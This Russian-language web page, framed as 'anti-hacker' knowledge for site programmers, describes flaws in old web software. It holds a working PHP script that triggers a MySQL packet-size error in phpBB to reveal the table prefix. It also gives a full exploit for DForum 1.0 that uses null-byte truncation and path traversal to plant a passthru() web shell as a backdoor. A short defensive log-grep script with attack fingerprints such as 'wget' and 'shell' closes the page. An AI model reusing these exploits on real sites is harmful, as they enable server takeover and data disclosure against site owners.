Антихакер Чтобы противостоять хакерским атакам нужно располагать большим количеством знаний. Большинсвто из них приходят с опытом, многое можно узнать, лишь столкнувшись с проблемой. Здесь собраны некоторые важные моменты, которые нужно знать каждому программисту веб-сайтов.
Скрипты: переполнение при запросе к базе MySQL
Уязвимость DForum
Скрипты: переполнение при запросе к базе MySQL
Скрипты: паролирование папки с файлами на веб-сервере
Скрипты: переполнение при запросе к базе MySQL
Сервер баз данных MySQL имеет настройку, ограничивающую максимальный объём команды, которая может быть ему передана. Ей соответствует переменная max_allowed_packet в файле my.ini. Типичное значение - 1M или 2M (1 и 2 Мб соответственно). В случае превышения объёма пакета сервер возвращает ошибку. Это позволяет хакеру в ряде случаев раскрыть информацию о структуре базы данных и совершить атаку. В частности, для форумов phpBB удаётся выяснить префикс таблиц. Пример скрипта для раскрытия данных этих форумов приведён ниже.
<?
// phpBB
$path="/phpBB/search.php";
$host="www.somesite.ru";
$overflow="";
for ($i=0; $i<2048*103; $i++) {$overflow.="0123456789";}
$code="search_keywords=${overflow}&".
"search_terms=any&".
"search_author=&".
"search_fields=all&".
"sort_dir=DESC&".
"show_results=topics";
$sock=fsockopen($host, 80);
$size_of_code=strlen($code);
$send=
"POST $path HTTP/1.1\n".
"Host: ${host}\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\n".
"Connection: Keep-Alive\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: ${size_of_code}\n\n".
"${code}";
fputs($sock, $send);
sleep(1);
while($input = fgets($sock))
{
print $input;
}
fclose($sock);
?>
Уязвимость DForum
Удивительное дело, сообщество вебмастеров в интернете на редкость консервативно. Многие скрипты, которые были созданы в конце девяностых, до сих пор находят себе применение на самых разных сайтах. Попался как-то очередной кладезь программистской мудрости, DForum 1.0, автор которого уже свернул свой веб-сайт, видимо, исчерпав свой талант на означенном творении. Заглянул я в код форума, forum.pl, и повеяло какой-то прелостью...
Меня заинтересовал процесс добавления сообщений. Скрипт складывает их в папку forumdata в виде отдельных файлов. Добавление сообщений происходит в два этапа. На первом этапе пользователь заполняет поля добавления сообщения, на втором происходит предпросмотр, а введённые данные, соответственно, содержатся в странице в виде скрытых полей. Главный просчёт разработчика в том, что скрипт на первом этапе вычисляет текущую дату и записывает её в виде скрытого поля, используя потом в имени файла сообщения. Хотя, замечу интересующимся, это не единственный просчёт:)
Итак, скрипт записывает сообщение. После инициализации хэш-массива входных переменных $in, мы попадаем в функцию postMessage.
$name = $in{'name'};
$email = $in{'email'};
$date = $in{'date'};
$headerfile = $in{'headerfile'};
$reply = $in{'reply'};
Далее следует кое-какая фильтрация ввода, относящаяся к теме сообщения и его тексту. Предположим, что переменная $in{'post'} в данный момент равна thread. Тогда последует вызов функции postThread и начнётся самое интересное.
После не интересных нам обновлений счётчика и базы месяцев для архива мы видим то, что должно спровоцировать любого хакера:
open(HEADER,">$forumdir/$headerfile.txt");
unshift (@headers, "$num\_$subject\_$name\_$date\_0\n");
foreach $headerline (@headers) {
print HEADER $headerline;
}
close(HEADER);
Напомню, что у языка Perl есть особенность не переваривать машинный нуль. При попадании 0x00 в имя файла для выполнения над ним операций, строка ровно на этом символе и "откусывается". Это связано с реализацией языка на Си, который с этим символом так же не в ладах. Такое положение дел означает, поскольку фильтрация на переменную $headerfile отсутствует,
- мы можем использовать произвольное имя для файла с произвольным расширением;
- мы знаем путь к создаваемому нами файлу.
То есть, мы можем в какую-нибудь из нефильтруемых переменных поместить наш PHP-код и уповая на определённые настройки веб-сервера рассчитывать на выполнение нашего скрипта на сервере.
Далее приводится exploit этой уязвимости. Он позволяет установить backdoor с произвольным кодом на сервер жертвы. Настройками являются хост и порт сервера жертвы, виртуальный путь к скрипту форума и относительный путь к backdoor. Рекомендую поварьировать последнюю переменную, поскольку пути на серверах к папке с сообщениями forumdata очень разнятся. При стандартных настройках уровень вложенности для пути к бэкдору должен быть на два выше виртуального пути к скрипту (чтобы выйти за пределы папки cgi-bin, которая требует для выполнения легальных путей к интерпретатору).
<?
$host="127.0.0.1";
$pathtoscript="/cgi-bin/dforum/forum.pl";
$port ="80";
$backdoorfilename="../../../../forum.php";
$backdoorcode=
'
<pre>
<?
echo passthru($cmd);
?>
</pre>
';
// -------------------------------------------------
$sock = fsockopen($host, $port);
$code = "date=PUSTO&headerfile=${backdoorfilename}%00%00".
"&name=".urlencode($backdoorcode)."&email=&subject=PUSTO&body=PUSTO&post=thread";
// в файл запишется: "$num\_$subject\_$name\_$date\_0\n"
$sizecode=strlen($code);
$send =
"POST ${pathtoscript} HTTP/1.1
Host: ${host}:${port}
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: ${sizecode}
${code}";
fputs($sock, $send);
while($input = fgets($sock))
{
echo $input;
}
//echo $send;
fclose($sock);
?>
Скрипты: анализатор логов доступа
Скрипт позволяет быстро обнаружить характерные следы попыток хакера осуществить взлом сайта. Очень часто этого вполне достаточно для того, чтобы зафиксировать IP злоумышленника и отследить его дальнейшие действия. В качестве образцов атак приведены "отпечатки" SQL-injection и web-shell. При необходимости этот список можно расширить в зависимости от структуры сайта. Можно модифицировать скрипт, заставив его периодически производить проверку и отсылать её результат на почтовый ящик.
<?
$logs_dir='/var/log/httpd/';
$fingerprint=array();
$fingerprint[]="%27";
$fingerprint[]="%2527";
$fingerprint[]="\'";
$fingerprint[]="/\*";
$fingerprint[]="union";
$fingerprint[]="=http://";
$fingerprint[]="wget";
$fingerprint[]="shell";
foreach($fingerprint as $fp)
{
echo system("grep -i -e \"${fp}\" ${logs_dir}*.log");
}
?>
|